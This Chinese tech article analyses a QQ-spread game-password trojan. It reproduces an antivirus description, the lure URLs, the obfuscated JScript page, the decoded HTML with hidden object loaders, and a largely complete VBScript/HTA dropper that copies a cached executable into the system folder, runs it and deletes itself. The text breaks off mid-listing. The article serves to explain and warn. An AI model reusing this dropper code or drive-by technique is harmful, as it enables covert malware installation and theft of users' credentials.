【IT168 专稿】前几日,一个朋友中了一个病毒,他的qq上线后就会自动发给好友一个网址。这个病毒弄的他叫苦不迭,我应邀到那个网之看了一下,发现了病毒传播的过程,在此把发现过程共享一下给大家,希望大家对病毒能够引起重视,同时也不要害怕,正确的对待它。
下面的信息是关于这个病毒的一个变种在瑞星病毒库资料里的信息:
Trojan.Legend.Syspoet.b.enc
WINDOWS下的PE病毒:美女杀手
VB写的盗游戏密码的木马,采用UPX压缩,一旦执行,病毒将自我复制到系统文件夹:
%SYSDIR%\filename.exe
它将创建下列注册表键值来使自己随Windows系统自启动:
HKLM\SoftWare\Microsoft\Windows\CurrentVersion\RunServices
"filename.exe"="filename.exe"
HKLM\SoftWare\Microsoft\Windows\CurrentVersion\Run
"filename.exe"="filename.exe"
其中"filename"可能会变化.比如:"sobsm.exe".
它将终止带有下列字眼的程序的执行:
瑞星
金山毒霸
江民
专杀
毒
木马
防火墙
监控
注册表编辑器
任务管理器
进程列表
进程管理
Antivirus
Trojan
REGSNAP
REGSHOT
REGISTRY MONITOR
W32DASM
它通过QQ发送虚假消息给在线好友,导致在线好友上当,有鉴于此,希望用户收到带有下列链结的请不要访问:
http://qiumei.3322.org/zhaopian/me.jpg
http://jiawei.6600.org/zhaopian/me.jpg
http://siting.8800.org/zhaopian/me.jpg
http://qianhui.9966.org/zhaopian/me.jpg
它将盗取游戏“传奇”的各种信息:
账号
区域
服务器
密码
附加
同时它还将盗取的信息发送到可配置的指定邮箱。
注: %SYSDIR% 是可变的WINDOWS系统文件夹,默认为: C:\Windows\System (Windows 95/98/Me),
C:\Winnt\System32 (Windows NT/2000), 或 C:\Windows\System32 (Windows XP)、
%WINDIR% 是可变的,是WINDOWS的安装目录(默认为: C:\Windows or C:\Winnt).
因为我事先知道是病毒,所以对待比较小心。我看到连接地址最后是一个.jpg的文件,于是我就打开了flashget,(用flashget下载,病毒总不会发作吧),下载后,怎么办?我看到下载下来的文件只有几k而已,料想不会有什么复杂的东西在里面,于是就启动了图像编辑器,打开这个文件。奇怪的事情发生了,格式错误!!!难道是我下错了?于是我就涨起胆子连到了那个网址上,一幅图片出现了,(其实我觉得哪个女的不漂亮,呵呵)。这下子我可傻了。根据我的经验,我已经中着了。反正也中着了,抱着死猪不怕开水烫的心态,我大胆的进行了进一步的分析。首先,我察看了一下哪个图片的属性。一个细节被我捕捉到了,我连接得网址最后是一个me.jpg,可是那幅图片的属性是my.jpg,这可是一个线索,于是我习惯性的打开了源文件(精彩的部分开始了)。我看到了如下的内容:
<html>
<head>
<script language="JScript.Encode">#@~^xQEAAA==@#@&@!Z O@#@&\mD,AWMNdP{JYf;tYss]22]Z9Y!z]2Z8W[zu&3]Z9]ZbYf;W4%n1YY Z[mYCu&G] yhbUEa/ lkwY+y] ZA+botDYffZ]y!Ak[O4]ffu+!Z]f3u&Z&G(LnmDY22YZfu!bu&;r:T]+!kD^Y2f:H Lao]23Y!G]ZbY&/G(LnmDY ZNCOm]&9Yy 4+^sKRCkwu u ZA+bo4Yu&9Tu !SrNDt]29Y Z!u&3]f/JW8L^Yu&3YZf]T)u&/z(G9XY22u!fu!zY&;z4YsVYfAJPJ&w!YPHG;D,mMk2YG~1W[+,OtDn@#@&0EU^DkGx,G!YAKD9`#@#@&P@#@&7l.P +AAKDNkI@#@&x+SAGD9/,''~EUnkmCwchKD[d*i@#@&[Km;:UDRAMkD+` +SAWMNd#p@#@&N,@#@&K;YSWD9cbi@#@&Jz~OR@*@#@&Qn4AAA==^#~@</script>
</head>
<body>
</body>
</html>
怪了!!!.jpg的文件怎么会成了<html>代码了呢?看来,作者还真下了一番功夫,把服务器的文件解析也改了?厉害厉害!!!看到没,加密了,不过不要紧,网上到处都可以找到解密工具。解密后,代码如下:
<html>
<head>
<script language="JScript.Encode">
<!--
var words ="%3Chtml%3E%0D%0A%3Cbody%3E%0D%0A%3Cobject%20data=%22winups.asp%22%20weight=0%20width=%200%3E%3C/object%3E%0D%0A%3Cimg%20src=my.jpg%3E%0D%0A%3Cobject%20data=%22hello.asp%22%20weight=0%20width=%200%3E%3C/object%3E%0D%0A%3C/body%3E%0D%0A%3C/html%3E" //put your cripto code there
。。。。。。。。这一段是加密后的代码
function outword()
{
var newwords;
newwords = unescape(words);
document.write(newwords);。。。。。。。解密后写入网页内
}
outword();
// -->
</script>
</head>
<body>
</body>
</html>
看来作者为了难为我们,还加密了这段代码,不过没关系,它能加密,我们就能解密,并且,他的加密手段很简单,不过是应用了现成的js的函数,我们用unescape()不就解密了么。于是,我动手写了一个小脚本,把上述代码解密了出来。
加密的代码内容如下:
<html>
<body>
<object data="winups.asp" weight=0 width= 0></object>
<img src=my.jpg>。。。。。。。。。现在明白为什么是my.jpg了吧
<object data="hello.asp" weight=0 width= 0></object>
</body>
</html>
看到了么,尾巴露出来了!!!,这两个文件可是关键啊。于是乎,下载了这两个文件。(扩展名就随意了)。
我先打开了winups.asp(是用记事本打开的,我发现文件开头有MZ字样),哈哈,原来这是一个.exe文件。先不理会他,看看另一个,另一个相对简单,打开之后一看是一段脚本代码(可恶,竟然又加密了)。没办法,解密,得到如下代码:
<object id=''wsh'' classid=''clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B''></object>
<HTA:APPLICATION caption="no" border="none" visiable="no" windowState="minimize" >
。。。。这是在建立脚本对象
<script LaNGUAGE="VBScript.Encode">
window.moveTo -100,-100
。。。。哈哈,竟然用这种隐藏窗体的方法
Set g_fs = CreateObject("Scripting.FileSystemObject")
Set tf = g_fs.CreateTextFile("c:\isp.hta",true)
。。。。看看,来了不是,开始文件操作了吧
tf.write "<HTA:APPLICATION caption=" & CHR(34)& "no" & CHR(34)& " border=" & CHR(34)& "none" & CHR(34)& " visiable=" & CHR(34)& "no" & CHR(34)& " showintaskbar=" & CHR(34)& "no" & CHR(34)& " >" &chr(13)&chr(10)
。。。。。看来作者是要用脚本来写脚本了,够狠!!!
tf.write "<object id=''wsh'' cl"& chr(97)&"ssid=''clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B''></object>"&chr(13)&chr(10)
。。。。。F935DC22-1CF0-11D0-ADB9-00C04FD58A0B 是WSH的sid
tf.write "<" & "script LANGUAGE=" & CHR(34)& "VBScript" & CHR(34)& ">"&chr(13)&chr(10)
tf.write "on error resume next"&chr(13)&chr(10)
tf.write "window.moveTo -100,-100"&chr(13)&chr(10)
tf.write "window.resizeTo 0,0 "&chr(13)&chr(10)
tf.write "dim exepath"&chr(13)&chr(10)
tf.write "Function Search(objFolder) "&chr(13)&chr(10)
tf.write "Dim objSubFolder"&chr(13)&chr(10)
tf.write "For Each objFile in objFolder.Files"&chr(13)&chr(10)
tf.write "If InStr(1, objfile.name, " & CHR(34)& "winups" & CHR(34)& ", vbtextcompare) then"&chr(13)&chr(10)
tf.write "set filecp = objg_fso.getfile(objfile.path)"&chr(13)&chr(10)
tf.write "filecp.copy (exepath)"&chr(13)&chr(10)
tf.write "exit for"&chr(13)&chr(10)
tf.write "End If"&chr(13)&chr(10)
tf.write "Next "&chr(13)&chr(10)
tf.write "For Each objSubFolder in objFolder.SubFolders "&chr(13)&chr(10)
tf.write "Search objSubFolder"&chr(13)&chr(10)
tf.write "Next"&chr(13)&chr(10)
tf.write "End Function"&chr(13)&chr(10)
。。。。这个函数是找到winups哪个文件,然后复制到系统目录下 。。。。
tf.write "Set objg_fso = CreateObject(" & CHR(34)& "Scripting.FileSystemObject" & CHR(34)& ")"&chr(13)&chr(10)
tf.write "str=WSH.regread(" & CHR(34)& "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\cache" & CHR(34)& ")"&chr(13)&chr(10)
。。。。这是在寻找缓存目录
tf.write "set tempfolder = objg_fso.getfolder(str)"&chr(13)&chr(10)
tf.write "set othisfolder = objg_fso.GetSpecialFolder(1)" &chr(13)&chr(10)
tf.write "exepath=othisfolder.path & "& chr(34) & "\win.exe" & chr(34) &chr(13)&chr(10)
tf.write "search tempfolder"&chr(13)&chr(10)
。。。。真是的,还要复制到系统目录下,可恶
tf.write "wsh.run (exepath)"&chr(13)&chr(10)
tf.write "wsh.run " & CHR(34)& "command.com /c del c:\isp.hta" & CHR(34)& " ,0"&chr(13)&chr(10)
。。。。呵呵,还不忘了删除自己,习惯不错,值得学习
tf.write "window.close()"&chr(13)&chr(10)
tf.write "<" &chr(47)& "script>"&chr(13)&chr(10)
tf.close